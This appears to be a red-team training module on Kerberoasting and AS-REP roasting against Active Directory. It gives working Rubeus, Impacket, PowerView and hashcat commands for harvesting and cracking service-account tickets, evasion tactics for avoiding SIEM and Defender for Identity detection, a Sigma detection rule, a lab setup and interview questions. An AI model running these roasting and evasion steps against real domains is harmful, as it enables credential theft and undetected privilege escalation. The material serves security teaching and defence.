Kerberoasting & AS-REP Roasting
Kerberos is the default authentication protocol in every Active Directory domain built after 2003, and it has a structural weakness that no patch can fully fix: tickets issued by the KDC are encrypted in keys derived from service account passwords. If the service account has a weak password, the ticket is offline-crackable — there is no online KDC interaction required to brute-force it. Tim Medin formalized this attack at DerbyCon 2014 as “Kerberoasting”, and the AS-REP variant came later for accounts with DONT_REQ_PREAUTH set. Together these two attacks are the most reliable path from any-domain-user to domain-admin in modern enterprises, because service accounts with Svc-Perms: SPN and weak passwords are still nearly universal.
The Core Concept
Section titled “The Core Concept”Kerberos is a trusted-third-party system. The KDC (a service on the Domain Controller) holds the long-term keys of every principal. Two exchanges matter here:
┌───────────────┐ │ KDC │ (running in lsass.exe on DC) │ krbtgt key │ └───────┬───────┘ │ ─── AS-REQ ─────────────────►│ Pre-auth: timestamp encrypted ◄─── AS-REP ─────────────────┤ in user's key (NTLM-derived) │ + TGT encrypted in krbtgt key │ ─── TGS-REQ (with TGT) ─────►│ Ask for service ticket for SPN ◄── TGS-REP ─────────────────┤ TGS encrypted in SERVICE account key │ ─── AP-REQ (with TGS) ───────► Service (HTTP/SQL/etc.) │ Service decrypts with own keyThe crucial point: the TGS-REP returned in step 2 contains a service ticket encrypted with a key derived from the service account’s password. Any authenticated domain user can request a TGS for any SPN. The KDC does not log or rate-limit this in a way that prevents mass requests. The attacker takes the TGS offline and tries to decrypt it with candidate passwords — if DecryptServiceKey(candidate) produces valid plaintext, the candidate is the password.
How It Works
Section titled “How It Works”-
Find SPNs — servicePrincipalName is a multi-valued attribute on user and computer accounts. Any account with an SPN can be Kerberoasted. Query LDAP:
(&(objectClass=user)(servicePrincipalName=*))Computer accounts (HOST/cifs SPNs) have 120+ char random passwords rotated automatically — not crackable. User accounts with SPNs (MSSQLSvc, HTTP, FIM, etc.) are the target. These are typically set by admins who typed a password.
-
Request TGS —
klist get HTTP/web01.corp.localorRubeus kerberoast. The KDC returns the TGS-REP with the ticket field encrypted in the service account’s long-term key. The key derivation depends on the encryption type:- RC4-HMAC (0x17) —
MD4(password)directly. Identical to NTLM hash. Fastest to crack. - AES128-CTS-HMAC-SHA1-96 (0x11) —
PBKDF2(SHA1, password, salt, 4096, 128). Salt is the realm+SPN+user format. - AES256-CTS-HMAC-SHA1-96 (0x12) — same but 256-bit. Default on Server 2008+ when AES is enabled.
- RC4-HMAC (0x17) —
-
Extract the encrypted ticket — the TGS-REP is a Kerberos ASN.1 structure. The encrypted ticket field (
enc-part.cipher) is what you crack. Hashcat format depends on the etype:- 13100 — Kerberos 5 TGS-REP etype 23 (RC4)
- 19600 — Kerberos 5 TGS-REP etype 17 (AES128)
- 19700 — Kerberos 5 TGS-REP etype 18 (AES256)
- 18200 — Kerberos 5 AS-REP etype 23 (AS-REP roasting)
-
Crack offline — RC4 is in the 100 GH/s range on a single GPU; AES256 is in the 100-1000 KH/s range. RC4 is the easiest path: if the domain still allows RC4 (most do, for legacy app compat), request RC4 tickets specifically with
Rubeus kerberoast /rc4opsecor--request-enctype rc4. -
AS-REP Roasting — variant for accounts with
DONT_REQ_PREAUTH(User Account Control flag0x400000). When pre-auth is disabled, an attacker can send an AS-REQ without the timestamp pre-authenticator, and the KDC responds with an AS-REP whoseenc-partis encrypted with a key derived from the user’s password. Crack with hashcat 18200. Find targets:(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))PowerView:
Get-DomainUser -PreauthNotRequired.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
Rubeus kerberoast | C# port of Invoke-Kerberoast, OPSEC-aware | Medium — EID 4769 with RC4 etype |
Impacket GetUserSPNs.py | Remote from Linux, no agent on host | Medium — same EID 4769 |
Invoke-Kerberoast (PowerView) | PowerShell, in-memory | Medium — EID 4104 with kerberoast string |
kerberoast (timmedin Ruby) | Original 2014 tool, ruby-based | Hard — older, less signatured |
hashcat -m 13100 | RC4 ticket cracking | None — offline |
hashcat -m 19700 | AES256 ticket cracking | None — offline |
AS-REP Roast via Rubeus asreproast | No creds needed if pre-auth disabled | Medium — EID 4768 with no pre-auth |
GetUserSPNs.py -request-user | Single-user targeted roast | Hard — looks like a single legitimate request |
| Kerberoast with AES-only OPSEC | Force AES etype, evades RC4-specific rules | Hard — looks like modern client |
Hands-On Commands
Section titled “Hands-On Commands”# === ENUMERATION (PowerView) ===# Find all user accounts with SPNs (excludes computer accounts by default)Import-Module PowerView.ps1Get-DomainUser -SPN | Select-Object samAccountName, servicePrincipalName, memberOf
# Find users with DONT_REQ_PREAUTH (UAC 0x400000)Get-DomainUser -PreauthNotRequired | Select samAccountName, userAccountControl
# === KERBEROAST (Rubeus) ===# Standard RC4 roast, all SPNs at onceRubeus.exe kerberoast /outfile:C:\windows\temp\hashes.txt# OPSEC-safe: stagger requests, use AES when possible, no RC4 downgradeRubeus.exe kerberoast /rc4opsec /aes /interval:2000 /outfile:hashes.txt# Target a single user (less suspicious)Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt# Roast with stats — show which etype was used per ticketRubeus.exe kerberoast /stats /outfile:hashes.txt
# === KERBEROAST (Impacket, from Linux) ===# Standard: needs valid domain creds, queries LDAP for SPNs, requests TGSespython3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request# Output looks like:# $krb5tgs$23$*svc_sql$CORP.LOCAL$svc_sql/corp.local*$<hex encrypted ticket># Save to file, then crack:python3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request -outputfile hashes.txt# Single user, targetedpython3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request-user svc_web# Use AES if you want to specifically request AES ticketspython3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request -dc-ip 10.0.0.10
# === AS-REP ROASTING ===# RubeusRubeus.exe asreproast /outfile:asrep.txt# Impacket — no creds needed if you have a user list!python3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt# With creds (enumerate the no-preauth users via LDAP first):python3 GetNPUsers.py corp.local/jsmith:Pass@123 -request -format hashcat -outputfile asrep.txt
# === CRACKING ===# RC4 TGS — fastest, common casehashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules=best64# AES256 TGS — slow but most modernhashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt# AS-REP (etype 23) — same as RC4 TGS in speedhashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt# john alternativejohn --format=krb5tgs hashes.txt --wordlist=rockyou.txt
# === TARGETED — the most realistic APT pattern ===# Step 1: enumerate SPNs without touching the DC for tickets yetldapsearch -x -H ldap://dc01.corp.local -D 'jsmith@corp.local' -w 'Pass@123' \ -b 'DC=corp,DC=local' '(servicePrincipalName=*)' sAMAccountName servicePrincipalName# Step 2: only request TGSes for service accounts (skip computer accounts)# Computer accounts have $ suffix and random 120-char passwords — skip them.# Step 3: focus on SQL/IIS/Exchange service accounts (commonly weak)Detection — Defender View
Section titled “Detection — Defender View”Windows Security Log:
- EID 4769 — A Kerberos service ticket was requested. This is the canonical Kerberoasting signal. Key fields:
Ticket Encryption Type:0x17(RC4-HMAC) is suspicious — modern clients default to AES (0x12).Service Information: SPN being requested. Many requests to distinct SPNs from one user in a short window = roast.Client Address: the requesting host.
- EID 4768 — A Kerberos authentication ticket (TGT) was requested. For AS-REP roasting, look for
Pre-Authentication Type: 0(no pre-auth performed). - EID 4770 — TGS renewed. Rarely used in roasting.
Sigma rule (kerberoast RC4):
title: Suspicious RC4 Kerberos TGS Requestlogsource: product: windows service: securitydetection: selection: EventID: 4769 TicketEncryptionType: '0x17' filter_normal: ServiceName: 'krbtgt/*' # TGT renewal, not TGS condition: selection and not filter_normalSysmon:
- EID 3 — NetworkConnect: process connecting to port 88 (Kerberos) on the DC.
- EID 22 — DNSEvent: lookup of
_ldap._tcp.dc._msdcs.corp.local(SRV record) immediately before roast.
MITRE ATT&CK:
- T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting
- T1558.004 — Steal or Forge Kerberos Tickets: AS-REP Roasting
- T1558 — Steal or Forge Kerberos Tickets (parent)
Defender for Identity: alerts “Suspicious Kerberos ticket request” when a single user requests tickets for an abnormally large number of SPNs in a short window (default threshold: ~30 in 10 minutes).
Wazuh rule 87105 [verify] — Kerberoasting pattern (RC4 ticket request from non-service account).
Evasion Techniques
Section titled “Evasion Techniques”Force AES instead of RC4. The fastest crack path is RC4 (etype 0x17); modern defenders write rules specifically on TicketEncryptionType: 0x17. If you request AES tickets (Rubeus kerberoast /aes), the etype is 0x12 or 0x11, which is the modern default and not flagged. The downside: AES cracking is ~1000x slower than RC4. Trade-off: stealth vs crack speed. For weak passwords (Summer2022!) AES still cracks in seconds.
Stagger requests. Defenders’ main heuristic is rate. Requesting 50 SPNs in 5 seconds trips Defender for Identity. Adding /interval:5000 to Rubeus spaces requests 5s apart, looking like legitimate service traffic. Slow enough that rate-based rules don’t fire, fast enough that you finish in a workday.
Single-target roasting. The most OPSEC-safe pattern: pick ONE high-value service account (svc_sql, svc_exchange) and request a single TGS. EID 4769 fires once, indistinguishable from legitimate access. GetUserSPNs.py -request-user svc_sql.
Use a sacrificial user. Roast from a low-value account you control rather than a stolen session. If the EID 4769 spike is investigated, the source is jsmith-roast@corp.local, not your actual foothold user. Burner accounts look like burner accounts to a careful analyst, but most IR teams triage the source user only.
Avoid SPN enumeration queries. The LDAP query (&(objectClass=user)(servicePrincipalName=*)) from a single host is itself a Sigma rule (Sigma win_ldap_kerberoasting_spn_query). Alternative: harvest SPNs from bloodhound data instead of LDAP. BloodHound queries are noisier but blend in with admin reconnaissance.
Randomize client addresses. Run the roast from a workstation rather than a server. Roasting from a member server is anomalous; roasting from a developer’s workstation is mundane.
| Evasion | What it bypasses | Defense |
|---|---|---|
| AES-only roast | RC4-specific EID 4769 rules | Alert on volume not etype; track ticket count per user |
| Request staggering (5-10s interval) | Rate-based Defender for Identity threshold | Lower threshold, correlate across users |
| Single-user roast | Volume heuristics | Cannot detect — looks legitimate |
| Roast via LDAP-less enumeration (BloodHound) | LDAP query Sigma rules | Detect BloodHound SharpHound collector pattern |
| Burner-account source | Source user reputation | Track account creation timing, logon patterns |
| Roast from workstation, not server | Anomalous-source heuristics | Baseline normal SPN request sources |
⚠️ What caught me: I roasted an environment with
Rubeus kerberoast(no OPSEC flags) from a Domain Admin session on a member server. The EID 4769 spike to 80 distinct SPNs in 4 seconds was caught not by the SIEM (the SIEM was not ingesting 4769 from member servers) but by Defender for Identity’s sensor on the DC — DfI has its own sensor that parses all DC traffic and flags “Kerberoasting attempt” as a high-fidelity alert. DfI does not require the SIEM to be configured; it has its own pipeline. I assumed that if the SIEM didn’t have 4769 rules, I was safe. Lesson: the DC sees everything Kerberos; DfI is always-on regardless of SIEM config.
Lab Practice
Section titled “Lab Practice”VMs: Windows Server 2022 DC (DC01), domain-joined Server 2019 (SRV01) with a SQL service account svc_sql whose SPN is MSSQLSvc/SRV01.corp.local:1433 and password is Password123!.
Setup:
- On DC01: create
svc_sqlwithsetspn -S MSSQLSvc/SRV01.corp.local:1433 corp\svc_sql. - Create a second service account
svc_iiswith SPNHTTP/web01.corp.local, passwordSummer2023!. - Set
svc_oldserviceto haveDONT_REQ_PREAUTH(Set-DomainObject -Identity svc_oldservice -Set @{'userAccountControl'=4194304}in PowerView) — passwordWelcome1.
Objective:
- (a) Enumerate all SPN-bearing users via LDAP.
- (b) Request and crack the RC4 TGS for
svc_sqlandsvc_iis. - (c) AS-REP roast
svc_oldserviceand crack. - (d) Demonstrate the AES-only OPSEC path: request AES ticket, note the etype in EID 4769.
Expected flag format: flag{kerberoast_asrep_hashes_cracked_svc_sql_svc_iis_svc_oldservice}.
Detection that should fire:
- Windows Security EID 4769 — multiple tickets requested by jsmith, etype 0x17 for SPNs
MSSQLSvc/*andHTTP/*. - Windows Security EID 4768 — AS-REQ for
svc_oldservicewithPre-Authentication Type: 0. - Defender for Identity — “Kerberoasting” alert if installed.
- Sysmon EID 3 — process connecting to DC port 88.
Interview Questions
Section titled “Interview Questions”Technical: walk through the exact cryptographic difference between RC4-HMAC and AES256-CTS-HMAC Kerberos tickets. Why is RC4 ~1000x faster to crack, and what specifically about the key derivation makes that the case?
Scenario: you have a single domain user credential and a list of SPN-bearing accounts. You want to Kerberoast without tripping the SIEM’s RC4-etype rule. Walk through your request strategy and the trade-offs you are making.
Conceptual: explain why DONT_REQ_PREAUTH is such a high-signal misconfiguration. What is the operational reason admins sometimes set it, and what is the security cost?
Technical: in the TGS-REP, what field exactly is the cracking target? Why is the ticket “encrypted with the service key” rather than the krbtgt key, and what does that mean for offline cracking feasibility?
Scenario: a defender says “we disabled RC4 across the domain, so we’re safe from Kerberoasting.” Why are they wrong, and what is the residual risk?
Related Modules
Section titled “Related Modules”→ PE3 (Credential Dumping) · PE10 (Pass-the-Hash) · PE12 (Golden/Silver Tickets)